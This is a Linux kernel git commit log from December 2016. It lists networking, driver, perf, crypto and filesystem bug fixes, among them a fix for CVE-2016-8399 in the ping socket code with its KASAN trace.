d14584d91976c42c7178164665c4959495740939 Author: Venkat Duvvuru Date: Tue Dec 6 00:33:50 2016 -0500 be2net: Add DEVSEC privilege to SET_HSW_CONFIG command. OPCODE_COMMON_GET_FN_PRIVILEGES is returning only DEVSEC privilege (Unrestricted Administrative Privilege) for Lancer NIC functions. So, driver is failing SET_HSW_CONFIG command, as DEVSEC privilege was not set in the privilege bitmap. This patch fixes the problem by setting DEVSEC privilege in SET_HSW_CONFIG’s privilege bitmap. Signed-off-by: Venkat Duvvuru Signed-off-by: Suresh Reddy Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be_cmds.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit e37e2ff350a321ad9c36b588e76f34fbba305be6 Author: Andy Lutomirski Date: Mon Dec 5 18:10:58 2016 -0800 virtio-net: Fix DMA-from-the-stack in virtnet_set_mac_address() With CONFIG_VMAP_STACK=y, virtnet_set_mac_address() can be passed a pointer to the stack and it will OOPS. Copy the address to the heap to prevent the crash. Cc: Michael S. Tsirkin Cc: Jason Wang Cc: Laura Abbott Reported-by: zbyszek@in.waw.pl Signed-off-by: Andy Lutomirski Acked-by: Jason Wang Acked-by: Michael S. Tsirkin Signed-off-by: David S. Miller drivers/net/virtio_net.c | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) commit dcb17d22e1c2cd72e72190c736349a675362b3bc Author: Marcelo Ricardo Leitner Date: Mon Dec 5 18:37:13 2016 -0200 tcp: warn on bogus MSS and try to amend it There have been some reports lately about TCP connection stalls caused by NIC drivers that aren't setting gso_size on aggregated packets on rx path. This causes TCP to assume that the MSS is actually the size of the aggregated packet, which is invalid. Although the proper fix is to be done at each driver, it's often hard and cumbersome for one to debug, come to such root cause and report/fix it. This patch amends this situation in two ways. First, it adds a warning on when this situation occurs, so it gives a hint to those trying to debug this. It also limit the maximum probed MSS to the adverised MSS, as it should never be any higher than that. The result is that the connection may not have the best performance ever but it shouldn't stall, and the admin will have a hint on what to look for. Tested with virtio by forcing gso_size to 0. v2: updated msg per David's suggestion v3: use skb_iif to find the interface and also log its name, per Eric Dumazet's suggestion. As the skb may be backlogged and the interface gone by then, we need to check if the number still has a meaning. v4: use helper tcp_gro_dev_warn() and avoid pr_warn_once inside __once, per David's suggestion Cc: Jonathan Maxwell Signed-off-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller net/ipv4/tcp_input.c | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) commit efc45154828ae4e49c6b46f59882bfef32697d44 Author: Jonas Gorski Date: Sat Dec 3 17:31:45 2016 +0100 uapi glibc compat: fix outer guard of net device flags enum Fix a wrong condition preventing the higher net device flags IFF_LOWER_UP etc to be defined if net/if.h is included before linux/if.h. The comment makes it clear the intention was to allow partial definition with either parts. This fixes compilation of userspace programs trying to use IFF_LOWER_UP, IFF_DORMANT or IFF_ECHO. Fixes: 4a91cb61bb99 ("uapi glibc compat: fix compile errors when glibc net/if.h included before linux/if.h") Signed-off-by: Jonas Gorski Reviewed-by: Mikko Rapeli Signed-off-by: David S. Miller include/uapi/linux/if.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6b3374cb1c0bd4699ace03d7e0dc14b532e4f52e Author: Niklas Cassel Date: Mon Dec 5 18:12:54 2016 +0100 net: stmmac: clear reset value of snps, wr_osr_lmt/snps, rd_osr_lmt before writing WR_OSR_LMT and RD_OSR_LMT have a reset value of 1. Since the reset value wasn't cleared before writing, the value in the register would be incorrect if specifying an uneven value for snps,wr_osr_lmt/snps,rd_osr_lmt. Zero is a valid value for the properties, since the databook specifies: maximum outstanding requests = WR_OSR_LMT + 1. We do not want to change the behavior for existing users when the property is missing. Therefore, default to 1 if the property is missing, since that is the same as the reset value. Signed-off-by: Niklas Cassel Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/dwmac1000_dma.c | 2 ++ drivers/net/ethernet/stmicro/stmmac/dwmac4_dma.c | 2 ++ drivers/net/ethernet/stmicro/stmmac/stmmac_platform.c | 6 ++++-- 3 files changed, 8 insertions(+), 2 deletions(-) commit c01638f5d919728f565bf8b5e0a6a159642df0d9 Author: Miklos Szeredi Date: Tue Dec 6 16:18:45 2016 +0100 fuse: fix clearing suid, sgid for chown() Basically, the pjdfstests set the ownership of a file to 06555, and then chowns it (as root) to a new uid/gid. Prior to commit a09f99eddef4 ("fuse: fix killing s[ug]id in setattr"), fuse would send down a setattr with both the uid/gid change and a new mode. Now, it just sends down the uid/gid change. Technically this is NOTABUG, since POSIX doesn't _require_ that we clear these bits for a privileged process, but Linux (wisely) has done that and I think we don't want to change that behavior here. This is caused by the use of should_remove_suid(), which will always return 0 when the process has CAP_FSETID. In fact we really don't need to be calling should_remove_suid() at all, since we've already been indicated that we should remove the suid, we just don't want to use a (very) stale mode for that. This patch should fix the above as well as simplify the logic. Reported-by: Jeff Layton Signed-off-by: Miklos Szeredi Fixes: a09f99eddef4 ("fuse: fix killing s[ug]id in setattr") Cc: Reviewed-by: Jeff Layton fs/fuse/dir.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit f943fe0faf27991d256e10b5a85f175385c64cdc Author: Dmitry Vyukov Date: Mon Nov 28 15:24:43 2016 +0100 lockdep: Fix report formatting Since commit: 4bcc595ccd80 ("printk: reinstate KERN_CONT for printing continuation lines") printk() requires KERN_CONT to continue log messages. Lots of printk() in lockdep.c and print_ip_sym() don't have it. As the result lockdep reports are completely messed up. Add missing KERN_CONT and inline print_ip_sym() where necessary. Example of a messed up report: 0-rc5+ #41 Not tainted ------------------------------------------------------- syz-executor0/5036 is trying to acquire lock: ( rtnl_mutex ){+.+.+.} , at: [] rtnl_lock+0x1c/0x20 but task is already holding lock: ( &net->packet.sklist_lock ){+.+...} , at: [] packet_diag_dump+0x1a6/0x1920 which lock already depends on the new lock. the existing dependency chain (in reverse order) is: -> #3 ( &net->packet.sklist_lock +.+...} ... Without this patch all scripts that parse kernel bug reports are broken. Signed-off-by: Dmitry Vyukov Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: andreyknvl@google.com Cc: aryabinin@virtuozzo.com Cc: joe@perches.com Cc: syzkaller@googlegroups.com Link: http://lkml.kernel.org/r/1480343083-48731-1-git-send-email-dvyukov@google.com Signed-off-by: Ingo Molnar kernel/locking/lockdep.c | 111 ++++++++++++++++++++++++----------------------- 1 file changed, 57 insertions(+), 54 deletions(-) commit 8fc31ce8896fc3cea1d79688c8ff950ad4e73afe Author: David Carrillo-Cisneros Date: Sun Dec 4 00:46:17 2016 -0800 perf/core: Remove invalid warning from list_update_cgroup_even()t The warning introduced in commit: 864c2357ca89 ("perf/core: Do not set cpuctx->cgrp for unscheduled cgroups") assumed that a cgroup switch always precedes list_del_event. This is not the case. Remove warning. Make sure that cpuctx->cgrp is NULL until a cgroup event is sched in or ctx->nr_cgroups == 0. Signed-off-by: David Carrillo-Cisneros Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Borislav Petkov Cc: Fenghua Yu Cc: Jiri Olsa Cc: Kan Liang Cc: Linus Torvalds Cc: Marcelo Tosatti Cc: Nilay Vaish Cc: Paul Turner Cc: Peter Zijlstra Cc: Ravi V Shankar Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vegard Nossum Cc: Vikas Shivappa Cc: Vince Weaver Link: http://lkml.kernel.org/r/1480841177-27299-1-git-send-email-davidcc@google.com Signed-off-by: Ingo Molnar kernel/events/core.c | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) commit 7f612a7f0bc13a2361a152862435b7941156b6af Author: Peter Zijlstra (Intel) Date: Tue Nov 29 20:33:28 2016 +0000 perf/x86: Fix full width counter, counter overflow Lukasz reported that perf stat counters overflow handling is broken on KNL/SLM. Both these parts have full_width_write set, and that does indeed have a problem. In order to deal with counter wrap, we must sample the counter at at least half the counter period (see also the sampling theorem) such that we can unambiguously reconstruct the count. However commit: 069e0c3c4058 ("perf/x86/intel: Support full width counting") sets the sampling interval to the full period, not half. Fixing that exposes another issue, in that we must not sign extend the delta value when we shift it right; the counter cannot have decremented after all. With both these issues fixed, counter overflow functions correctly again. Reported-by: Lukasz Odzioba Tested-by: Liang, Kan Tested-by: Odzioba, Lukasz Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: stable@vger.kernel.org Fixes: 069e0c3c4058 ("perf/x86/intel: Support full width counting") Signed-off-by: Ingo Molnar arch/x86/events/core.c | 2 +- arch/x86/events/intel/core.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 1dba23b12f49d7cf3d4504171c62541122b55141 Author: Piotr Luc Date: Thu Dec 1 01:08:53 2016 +0100 perf/x86/intel: Enable C-state residency events for Knights Mill The Knights Mill is enough close to Knights Landing so the path reuses C-state residency support of the latter. Signed-off-by: Piotr Luc Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Link: http://lkml.kernel.org/r/20161201000853.18260-1-piotr.luc@intel.com Signed-off-by: Ingo Molnar arch/x86/events/intel/cstate.c | 1 + 1 file changed, 1 insertion(+) commit 69042bf2001b44e81cd86ab11a4637b9d9a14c5a Author: Jiri Slaby Date: Mon Dec 5 11:55:51 2016 +0100 objtool: Fix bytes check of lea's rex_prefix For the "lea %(rsp), %rbp" case, we check if there is a rex_prefix. But we check 'bytes' which is insn_byte_t[4] in rex_prefix (insn_field structure). Therefore, the check is always true. Instead, check 'nbytes' which is the right one. Signed-off-by: Jiri Slaby Acked-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20161205105551.25917-1-jslaby@suse.cz Signed-off-by: Ingo Molnar tools/objtool/arch/x86/decode.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ed5d7788a934a4b6d6d025e948ed4da496b4f12e Author: Herbert Xu Date: Mon Dec 5 15:28:21 2016 +0800 netlink: Do not schedule work from sk_destruct It is wrong to schedule a work from sk_destruct using the socket as the memory reserve because the socket will be freed immediately after the return from sk_destruct. Instead we should do the deferral prior to sk_free. This patch does just that. Fixes: 707693c8a498 ("netlink: Call cb->done from a worker thread") Signed-off-by: Herbert Xu Tested-by: Andrey Konovalov Signed-off-by: David S. Miller net/netlink/af_netlink.c | 32 +++++++++++++++----------------- 1 file changed, 15 insertions(+), 17 deletions(-) commit ffe3bb85c19e1dbf96cc13aad823ae0a8855d066 Author: stephen hemminger Date: Fri Dec 2 14:54:00 2016 -0800 uapi: export nf_log.h File is in uapi directory but not being copied on make install_headers Fixes commit 4ec9c8fbbc22 ("netfilter: nft_log: complete NFTA_LOG_FLAGS attr support"). Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller include/uapi/linux/netfilter/Kbuild | 1 + 1 file changed, 1 insertion(+) commit ad558858295726cb876b78d1c39d471372f1901a Author: stephen hemminger Date: Fri Dec 2 14:53:59 2016 -0800 uapi: export tc_skbmod.h Fixes commit 735cffe5d800 ("net_sched: Introduce skbmod action") Not used by iproute2 but maybe in future. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller include/uapi/linux/tc_act/Kbuild | 1 + 1 file changed, 1 insertion(+) commit c823abac17926767fb50175e098f087a6ac684c3 Author: Florian Fainelli Date: Sun Dec 4 19:22:05 2016 -0800 net: ep93xx_eth: Do not crash unloading module When we unload the ep93xx_eth, whether we have opened the network interface or not, we will either hit a kernel paging request error, or a simple NULL pointer de-reference because: - if ep93xx_open has been called, we have created a valid DMA mapping for ep->descs, when we call ep93xx_stop, we also call ep93xx_free_buffers, ep->descs now has a stale value - if ep93xx_open has not been called, we have a NULL pointer for ep->descs, so performing any operation against that address just won't work Fix this by adding a NULL pointer check for ep->descs which means that ep93xx_free_buffers() was able to successfully tear down the descriptors and free the DMA cookie as well. Fixes: 1d22e05df818 ("[PATCH] Cirrus Logic ep93xx ethernet driver") Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/ethernet/cirrus/ep93xx_eth.c | 4 ++++ 1 file changed, 4 insertions(+) commit 34e0f2c2d82d7d939bfa249672311050b3b537f1 Merge: 9a53682 360d9df Author: David S. Miller Date: Mon Dec 5 15:08:40 2016 -0500 Merge branch 'bnx2x-fixes' Yuval Mintz says: ==================== bnx2x: fixes series Two unrelated fixes for bnx2x - the first one is nice-to-have, while the other fixes fatal behaviour in older adapters. Please consider applying them to `net'. ==================== Signed-off-by: David S. Miller commit 360d9df2acd9f0b89aabaf16fca08954f113bd4e Author: Mintz, Yuval Date: Sun Dec 4 15:30:18 2016 +0200 bnx2x: Prevent tunnel config for 577xx Only the 578xx adapters are capable of configuring UDP ports for the purpose of tunnelling - doing the same on 577xx might lead to a firmware assertion. We're already not claiming support for any related feature for such devices, but we also need to prevent the configuration of the UDP ports to the device in this case. Fixes: f34fa14cc033 ("bnx2x: Add vxlan RSS support") Reported-by: Anikina Anna Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnx2x/bnx2x_main.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 65870fa77fd7f83d7be4ed924d47ed9e3831f434 Author: Mintz, Yuval Date: Sun Dec 4 15:30:17 2016 +0200 bnx2x: Correct ringparam estimate when DOWN Until interface is up [and assuming ringparams weren't explicitly configured] when queried for the size of its rings bnx2x would claim they're the maximal size by default. That is incorrect as by default the maximal number of buffers would be equally divided between the various rx rings. This prevents the user from actually setting the number of elements on each rx ring to be of maximal size prior to transitioning the interface into up state. To fix this, make a rough estimation about the number of buffers. It wouldn't always be accurate, but it would be much better than current estimation and would allow users to increase number of buffers during early initialization of the interface. Reported-by: Seymour, Shane Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnx2x/bnx2x_ethtool.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 9a53682b340b97642793271ba095cc9531a7b649 Author: Pan Bian Date: Sun Dec 4 18:43:31 2016 +0800 isdn: hisax: set error code on failure In function hfc4s8s_probe(), the value of return variable err should be negative on failures. However, when the call to request_region() returns NULL, the value of err is 0. This patch fixes the bug, assigning "-EBUSY" to err on the path that request_region() fails. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=188931 Signed-off-by: Pan Bian Signed-off-by: David S. Miller drivers/isdn/hisax/hfc4s8s_l1.c | 1 + 1 file changed, 1 insertion(+) commit 005f7e68e74df94c2a676b5a3e98c6fb65aae606 Author: Pan Bian Date: Sun Dec 4 18:46:03 2016 +0800 net: bnx2x: fix improper return value Macro BNX2X_ALLOC_AND_SET(arr, lbl, func) calls kmalloc() to allocate memory, and jumps to label "lbl" if the allocation fails. Label "lbl" first cleans memory and then returns variable rc. Before calling the macro, the value of variable rc is 0. Because 0 means no error, the callers of bnx2x_init_firmware() may be misled. This patch fixes the bug, assigning "-ENOMEM" to rc before calling macro NX2X_ALLOC_AND_SET(). Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=189141 Signed-off-by: Pan Bian Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnx2x/bnx2x_main.c | 1 + 1 file changed, 1 insertion(+) commit 0ff18d2d36efad65572990fa7febeb3ebe19da89 Author: Pan Bian Date: Sun Dec 4 13:53:53 2016 +0800 net: ethernet: qlogic: set error code on failure When calling dma_mapping_error(), the value of return variable rc is 0. And when the call returns an unexpected value, rc is not set to a negative errno. Thus, it will return 0 on the error path, and its callers cannot detect the bug. This patch fixes the bug, assigning "-ENOMEM" to err. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=189041 Signed-off-by: Pan Bian Acked-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_ll2.c | 1 + 1 file changed, 1 insertion(+) commit 7cf6156633b71743c09a8e56b1f0dedfc4ce6e66 Author: Pan Bian Date: Sun Dec 4 13:45:15 2016 +0800 atm: fix improper return value It returns variable "error" when ioremap_nocache() returns a NULL pointer. The value of "error" is 0 then, which will mislead the callers to believe that there is no error. This patch fixes the bug, returning "-ENOMEM". Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=189021 Signed-off-by: Pan Bian Signed-off-by: David S. Miller drivers/atm/eni.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8ad3ba934587c8ecbfee13331d859a7849afdfbb Author: Pan Bian Date: Sun Dec 4 13:27:40 2016 +0800 net: irda: set error code on failures When the calls to kzalloc() fail, the value of return variable ret may be 0. 0 means success in this context. This patch fixes the bug, assigning "-ENOMEM" to ret before calling kzalloc(). Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=188971 Signed-off-by: Pan Bian Signed-off-by: David S. Miller drivers/net/irda/irda-usb.c | 1 + 1 file changed, 1 insertion(+) commit c79e167c3cba066892542f3dfb5e73b7207e01df Author: Pan Bian Date: Sun Dec 4 12:15:44 2016 +0800 net: caif: remove ineffective check The check of the return value of sock_register() is ineffective. "if(!err)" seems to be a typo. It is better to propagate the error code to the callers of caif_sktinit_module(). This patch removes the check statment and directly returns the result of sock_register(). Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=188751 Signed-off-by: Pan Bian Signed-off-by: David S. Miller net/caif/caif_socket.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 0eab121ef8750a5c8637d51534d5e9143fb0633f Author: Kees Cook Date: Mon Dec 5 10:34:38 2016 -0800 net: ping: check minimum size on ICMP header length Prior to commit c0371da6047a ("put iov_iter into msghdr") in v3.19, there was no check that the iovec contained enough bytes for an ICMP header, and the read loop would walk across neighboring stack contents. Since the iov_iter conversion, bad arguments are noticed, but the returned error is EFAULT. Returning EINVAL is a clearer error and also solves the problem prior to v3.19. This was found using trinity with KASAN on v3.18: BUG: KASAN: stack-out-of-bounds in memcpy_fromiovec+0x60/0x114 at addr ffffffc071077da0 Read of size 8 by task trinity-c2/9623 page:ffffffbe034b9a08 count:0 mapcount:0 mapping: (null) index:0x0 flags: 0x0() page dumped because: kasan: bad access detected CPU: 0 PID: 9623 Comm: trinity-c2 Tainted: G BU 3.18.0-dirty #15 Hardware name: Google Tegra210 Smaug Rev 1,3+ (DT) Call trace: [] dump_backtrace+0x0/0x1ac arch/arm64/kernel/traps.c:90 [] show_stack+0x10/0x1c arch/arm64/kernel/traps.c:171 [< inline >] __dump_stack lib/dump_stack.c:15 [] dump_stack+0x7c/0xd0 lib/dump_stack.c:50 [< inline >] print_address_description mm/kasan/report.c:147 [< inline >] kasan_report_error mm/kasan/report.c:236 [] kasan_report+0x380/0x4b8 mm/kasan/report.c:259 [< inline >] check_memory_region mm/kasan/kasan.c:264 [] __asan_load8+0x20/0x70 mm/kasan/kasan.c:507 [] memcpy_fromiovec+0x5c/0x114 lib/iovec.c:15 [< inline >] memcpy_from_msg include/linux/skbuff.h:2667 [] ping_common_sendmsg+0x50/0x108 net/ipv4/ping.c:674 [] ping_v4_sendmsg+0xd8/0x698 net/ipv4/ping.c:714 [] inet_sendmsg+0xe0/0x12c net/ipv4/af_inet.c:749 [< inline >] __sock_sendmsg_nosec net/socket.c:624 [< inline >] __sock_sendmsg net/socket.c:632 [] sock_sendmsg+0x124/0x164 net/socket.c:643 [< inline >] SYSC_sendto net/socket.c:1797 [] SyS_sendto+0x178/0x1d8 net/socket.c:1761 CVE-2016-8399 Reported-by: Qidan He Fixes: c319b4d76b9e ("net: ipv4: add IPPROTO_ICMP socket kind") Cc: stable@vger.kernel.org Signed-off-by: Kees Cook Signed-off-by: David S. Miller net/ipv4/ping.c | 4 ++++ 1 file changed, 4 insertions(+) commit d9d04527c79f0f7d9186272866526e871ef4ac6f Merge: ef3263e dadc4a1 Author: Linus Torvalds Date: Mon Dec 5 10:30:12 2016 -0800 Merge tag 'powerpc-4.9-7' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux Pull powerpc fixes from Michael Ellerman: "Four fixes, the first for code we merged this cycle and three that are also going to stable: - On 64-bit Book3E we were not placing the .text section where we said we would in the asm. - We broke building the boot wrapper on some 32-bit toolchains. - Lazy icache flushing was broken on pre-POWER5 machines. - One of the error paths in our EEH code would lead to a deadlock. Thanks to: Andrew Donnellan, Ben Hutchings, Benjamin Herrenschmidt, Nicholas Piggin" * tag 'powerpc-4.9-7' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux: powerpc/64: Fix placement of .text to be immediately following .head.text powerpc/eeh: Fix deadlock when PE frozen state can't be cleared powerpc/mm: Fix lazy icache flush on pre-POWER5 powerpc/boot: Fix build failure in 32-bit boot wrapper commit 4606c9e8c541f97034e53e644129376a6170b8c7 Author: Pan Bian Date: Sat Dec 3 20:25:45 2016 +0800 atm: lanai: set error code when ioremap fails In function lanai_dev_open(), when the call to ioremap() fails, the value of return variable result is 0. 0 means no error in this context. This patch fixes the bug, assigning "-ENOMEM" to result when ioremap() returns a NULL pointer. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=188791 Signed-off-by: Pan Bian Signed-off-by: David S. Miller drivers/atm/lanai.c | 1 + 1 file changed, 1 insertion(+) commit 51920830d9d0eb617af18dc60443fcd4fb50a533 Author: Pan Bian Date: Sat Dec 3 19:24:48 2016 +0800 net: usb: set error code when usb_alloc_urb fails In function lan78xx_probe(), variable ret takes the errno code on failures. However, when the call to usb_alloc_urb() fails, its value will keeps 0. 0 indicates success in the context, which is inconsistent with the execution result. This patch fixes the bug, assigning "-ENOMEM" to ret when usb_alloc_urb() returns a NULL pointer. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=188771 Signed-off-by: Pan Bian Acked-by: Woojung Huh Signed-off-by: David S. Miller drivers/net/usb/lan78xx.c | 1 + 1 file changed, 1 insertion(+) commit b59589635ff01cc25270360709eeeb5c45c6abb9 Author: Pan Bian Date: Sat Dec 3 19:33:23 2016 +0800 net: bridge: set error code on failure Function br_sysfs_addbr() does not set error code when the call kobject_create_and_add() returns a NULL pointer. It may be better to return "-ENOMEM" when kobject_create_and_add() fails. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=188781 Signed-off-by: Pan Bian Acked-by: Stephen Hemminger Signed-off-by: David S. Miller net/bridge/br_sysfs_br.c | 1 + 1 file changed, 1 insertion(+) commit 14dd3e1b970feb125e4f453bc3b0569db5b2069b Author: Suraj Deshmukh Date: Sat Dec 3 07:59:26 2016 +0000 net: af_mpls.c add space before open parenthesis Adding space after switch keyword before open parenthesis for readability purpose. This patch fixes the checkpatch.pl warning: space required before the open parenthesis '(' Signed-off-by: Suraj Deshmukh Signed-off-by: David S. Miller net/mpls/af_mpls.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 89aa8445cd4e8c2556c40d42dd0ceb2cbb96ba78 Author: Pan Bian Date: Sat Dec 3 17:56:17 2016 +0800 netdev: broadcom: propagate error code Function bnxt_hwrm_stat_ctx_alloc() always returns 0, even if the call to _hwrm_send_message() fails. It may be better to propagate the errors to the caller of bnxt_hwrm_stat_ctx_alloc(). Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=188661 Signed-off-by: Pan Bian Acked-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2279b752ac5c2d3592fe6fe5610c123c2ee8b37c Merge: c66ebf2 a52ca62 Author: David S. Miller Date: Mon Dec 5 13:15:59 2016 -0500 Merge branch 'fib-suffix-length-fixes' Alexander Duyck says: ==================== IPv4 FIB suffix length fixes In reviewing the patch from Robert Shearman and looking over the code I realized there were a few different bugs we were still carrying in the IPv4 FIB lookup code. These two patches are based off of Robert's original patch, but take things one step further by splitting them up to address two additional issues I found. So first have Robert's original patch which was addressing the fact that us calling update_suffix in resize is expensive when it is called per add. To address that I incorporated the core bit of the patch which was us dropping the update_suffix call from resize. The first patch in the series does a rename and fix on the push_suffix and pull_suffix code. Specifically we drop the need to pass a leaf and secondly we fix things so we pull the suffix as long as the value of the suffix in the node is dropping. The second patch addresses the original issue reported as well as optimizing the code for the fact that update_suffix is only really meant to go through and clean things up when we are decreasing a suffix. I had originally added code for it to somehow cause an increase, but if we push the suffix when a new leaf is added we only ever have to handle pulling down the suffix with update_suffix so I updated the code to reflect that. As far as side effects the only ones I think that will be obvious should be the fact that some routes may be able to be found earlier since before we relied on resize to update the suffix lengths, and now we are updating them before we add or remove the leaf. ==================== Signed-off-by: David S. Miller commit a52ca62c4a6771028da9c1de934cdbcd93d54bb4 Author: Alexander Duyck Date: Thu Dec 1 07:27:57 2016 -0500 ipv4: Drop suffix update from resize code It has been reported that update_suffix can be expensive when it is called on a large node in which most of the suffix lengths are the same. The time required to add 200K entries had increased from around 3 seconds to almost 49 seconds. In order to address this we need to move the code for updating the suffix out of resize and instead just have it handled in the cases where we are pushing a node that increases the suffix length, or will decrease the suffix length. Fixes: 5405afd1a306 ("fib_trie: Add tracking value for suffix length") Reported-by: Robert Shearman Signed-off-by: Alexander Duyck Reviewed-by: Robert Shearman Tested-by: Robert Shearman Signed-off-by: David S. Miller net/ipv4/fib_trie.c | 42 +++++++++++++++++++++--------------------- 1 file changed, 21 insertions(+), 21 deletions(-) commit 1a239173cccff726b60ac6a9c79ae4a1e26cfa49 Author: Alexander Duyck Date: Thu Dec 1 07:27:52 2016 -0500 ipv4: Drop leaf from suffix pull/push functions It wasn't necessary to pass a leaf in when doing the suffix updates so just drop it. Instead just pass the suffix and work with that. Since we dropped the leaf there is no need to include that in the name so the names are updated to node_push_suffix and node_pull_suffix. Finally I noticed that the logic for pulling the suffix length back actually had some issues. Specifically it would stop prematurely if there was a longer suffix, but it was not as long as the original suffix. I updated the code to address that in node_pull_suffix. Fixes: 5405afd1a306 ("fib_trie: Add tracking value for suffix length") Suggested-by: Robert Shearman Signed-off-by: Alexander Duyck Reviewed-by: Robert Shearman Tested-by: Robert Shearman Signed-off-by: David S. Miller net/ipv4/fib_trie.c | 26 ++++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) commit ef3263e35e26eb1061260131c4d6d579eea21f85 Merge: 3e5de27 5789163 Author: Linus Torvalds Date: Mon Dec 5 09:16:10 2016 -0800 Merge branch 'linus' of git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6 Pull crypto fixes from Herbert Xu: "This fixes the following issues: - Intermittent build failure in RSA - Memory corruption in chelsio crypto driver - Regression in DRBG due to vmalloced stack" * 'linus' of git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6: crypto: rsa - Add Makefile dependencies to fix parallel builds crypto: chcr - Fix memory corruption crypto: drbg - prevent invalid SG mappings commit 3e5de27e940d00d8d504dfb96625fb654f641509 Author: Linus Torvalds Date: Sun Dec 4 12:50:51 2016 -0800 Linux 4.9-rc8 Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c66ebf2db555c6ed705044eabd2b37dcd546f68b Author: Pan Bian Date: Sat Dec 3 21:49:08 2016 +0800 net: dcb: set error code on failures In function dcbnl_cee_fill(), returns the value of variable err on errors. However, on some error paths (e.g. nla put fails), its value may be 0. It may be better to explicitly set a negative errno to variable err before returning. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=188881 Signed-off-by: Pan Bian Signed-off-by: David S. Miller net/dcb/dcbnl.c | 1 + 1 file changed, 1 insertion(+) commit 0cb65c83304a341b9d09678448d7c8b550689531 Merge: 3c49de5 ab7cd8d Author: Linus Torvalds Date: Sat Dec 3 16:40:21 2016 -0800 Merge tag 'drm-fixes-for-v4.9-rc8' of git://people.freedesktop.org/~airlied/linux Pull drm fixes from Dave Airlie: "A pretty small pull request: a couple of AMD powerxpress regression fixes and a power management fix, a couple of i915 fixes and one hdlcd fix, along with one core don't oops because of incorrect API usage fix" * tag 'drm-fixes-for-v4.9-rc8' of git://people.freedesktop.org/~airlied/linux: drm/i915: drop the struct_mutex when wedged or trying to reset drm/i915: Don't touch NULL sg on i915_gem_object_get_pages_gtt() error drm: Don't call drm_for_each_crtc with a non-KMS driver drm/radeon: fix check for port PM availability drm/amdgpu: fix check for port PM availability drm/amd/powerplay: initialize the soft_regs offset in struct smu7_hwmgr drm: hdlcd: Fix cleanup order commit a38b61009425b3882704270e792a6e743f5d9426 Merge: 8dc0f26 c2d0f48 Author: David S. Miller Date: Sat Dec 3 16:13:27 2016 -0500 Merge tag 'batadv-net-for-davem-20161202' of git://git.open-mesh.org/linux-merge Simon Wunderlich says: ==================== Here is another batman-adv bugfix: - fix checking for failed allocation of TVLV blocks in TT local data, by Sven Eckelmann ==================== Signed-off-by: David S. Miller commit ab7cd8d83e5dba13027de66f1b008b08b30b71a4 Merge: 83fb8b0 e411072 Author: Dave Airlie Date: Sun Dec 4 06:31:26 2016 +1000 Merge tag 'drm-intel-fixes-2016-12-01' of git://anongit.freedesktop.org/git/drm-intel into drm-fixes 2 intel fixes. * tag 'drm-intel-fixes-2016-12-01' of git://anongit.freedesktop.org/git/drm-intel: drm/i915: drop the struct_mutex when wedged or trying to reset drm/i915: Don't touch NULL sg on i915_gem_object_get_pages_gtt() error commit 